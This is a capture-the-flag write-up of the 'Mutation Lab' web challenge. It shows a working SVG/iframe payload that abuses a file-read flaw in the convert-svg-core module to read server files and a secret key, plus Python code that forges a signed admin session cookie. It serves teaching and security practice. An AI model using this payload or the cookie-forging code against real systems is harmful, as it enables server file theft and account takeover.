Write-Ups
Rayhan0x01,
May 15
2022
In this write-up, we'll go over the web challenge Mutation Lab, rated as medium difficulty in the Cyber Apocalypse CTF 2022. The solution requires exploiting a local file read vulnerability to steal the cookie signing key and crafting a session cookie for the admin.
One of the renowned scientists in the research of cell mutation, Dr. Rick, was a close ally of Draeger. The by-products of his research, the mutant army wrecked a lot of havoc during the energy-crisis war. To exterminate the leftover mutants that now roam over the abandoned areas on the planet Vinyr, we need to acquire the cell structures produced in Dr. Rick's mutation lab. Ulysses managed to find a remote portal with minimal access to Dr. Rick's virtual lab. Can you help him uncover the experimentations of the wicked scientist?
The application homepage displays a login form and a link to the registration page. Since we don't have an account, we can create an account via the registration page and log in. After logging in, the application redirects to the following dashboard page:
We can interact with the two canvas elements displayed on the webpage. Clicking on the buttons below the canvas exports a PNG image file of the canvas. Clicking the export button sends the following API request to the server:
That is pretty much all the accessible features in this web application.
Clicking the second export button downloads a PNG image of the second canvas but the Networks tab in the browser shows two different requests that originated when we click the button:
Looking into the client-side JavaScript code of the dashboard.js file, the button with the id exportTadpoleCanvas
has two onClick
event handlers specified to call the exportExp
function:
$('#exportCellCanvas').on('click', () => {exportExp(scope1)});
$('#exportTadpoleCanvas').on('click', () => {exportExp(scope2)});
$('#exportTadpoleCanvas').on('click', () => {exportExp(scope3)});
const exportExp = async (scope) => {
await fetch(`/api/export`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
svg: scope.project && scope.project.exportSVG({asString: true})
}),
})
.then((response) => response.json())
.then((data) => {
if (data.hasOwnProperty('png')) {
window.open(data.png);
}
})
.catch((error) => {
console.log(error);
});
}
The scope3.project
attribute is null, which causes the second request to fail as the request JSON parameter svg
is null
. The response contains an error stack trace:
From the error stack trace, we can see the convert-svg-core npm module is used to convert the SVG code to a PNG image. Searching for vulnerabilities in this module leads us to the following Snyk advisory page:
https://security.snyk.io/vuln/SNYK-JS-CONVERTSVGCORE-1582785
The advisory contains a proof-of-concept payload that we can send to the API to read the server-side file /app/index.js
:
{
"svg":"<svg-dummy></svg-dummy>\n<iframe src=\"///app/index.js\" width=\"100%\" height=\"1000px\"></iframe><svg viewBox=\"0 0 240 80\" height=\"1000\" width=\"1000\" xmlns=\"http://www.w3.org/2000/svg\"> <text x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\">data</text></svg>"
}
Sending the above payload to the /api/export
endpoint returns a PNG image URL which discloses the application source code in the exported PNG image file:
Since we need access to the "admin" account, we can steal the SESSION_SECRET_KEY
value by reading the /app/.env
file like we read the /app/index.js
file:
From the index.js source code, we can see the application is using the Express cookie-session
module that handles the cookie signing of the application. After a successful login, the application sets the following two different cookies:
Cookie: session.sig=JdDgWZBLBvtBPw70zNxY8MuhD0Q; session=eyJ1c2VybmFtZSI6InJoMHgwMSJ9
The session
cookie value is a JSON object encoded in Base64:
$ echo "eyJ1c2VybmFtZSI6InJoMHgwMSJ9" | base64 -d
{"username":"rh0x01"}
To understand how to create the session.sig
cookie value, we can start by analyzing the Github repository of the cookie-session module. Following the code-base, we come across the following code from the npm module cookies used by cookie-session as a dependency:
The this.keys
is an instance of the Keygrip()
function from another npm module keygrip:
function Keygrip(keys, algorithm, encoding) {
if (!algorithm) algorithm = "sha1";
if (!encoding) encoding = "base64";
if (!(this instanceof Keygrip)) return new Keygrip(keys, algorithm, encoding)
if (!keys || !(0 in keys)) {
throw new Error("Keys must be provided.")
}
function sign(data, key) {
return crypto
.createHmac(algorithm, key)
.update(data).digest(encoding)
.replace(/\/|\+|=/g, function(x) {
return ({ "/": "_", "+": "-", "=": "" })[x]
})
}
this.sign = function(data){ return sign(data, keys[0]) }
The sign()
method creates an HMAC with the given algorithm (in the case of cookie-session, it's "sha1") out of the provided data and encodes the resultant value in URL-safe base64. We can replicate the cookie signing in Python the following way with the retrieved SESSION_SECRET_KEY
value:
def sign(data, key):
key = key.encode()
data = data.encode()
hashData = hmac.new(key, data, sha1)
signData = base64.encodebytes(hashData.digest()).decode('utf-8')
return signData.replace('/', '_').replace('+', '-').replace('=', '').replace('\n','')
secret_key = "VALUE OF SESSION_SECRET_KEY"
cookie_sig = sign('session=eyJ1c2VybmFtZSI6ImFkbWluIn0', secret_key)
# eyJ1c2VybmFtZSI6ImFkbWluIn0 is base64 value of {"username":"admin"}
cookies = {'session': 'eyJ1c2VybmFtZSI6ImFkbWluIn0', 'session.sig': cookie_sig}
resp = requests.get(f'{hostURL}/dashboard', cookies=cookies)
Using the newly signed cookies, we can now access the admin account dashboard that displays a new canvas with an embedded flag:
And that's a wrap for the write-up of this challenge! The challenge is currently available to play on Hack The Box platform here.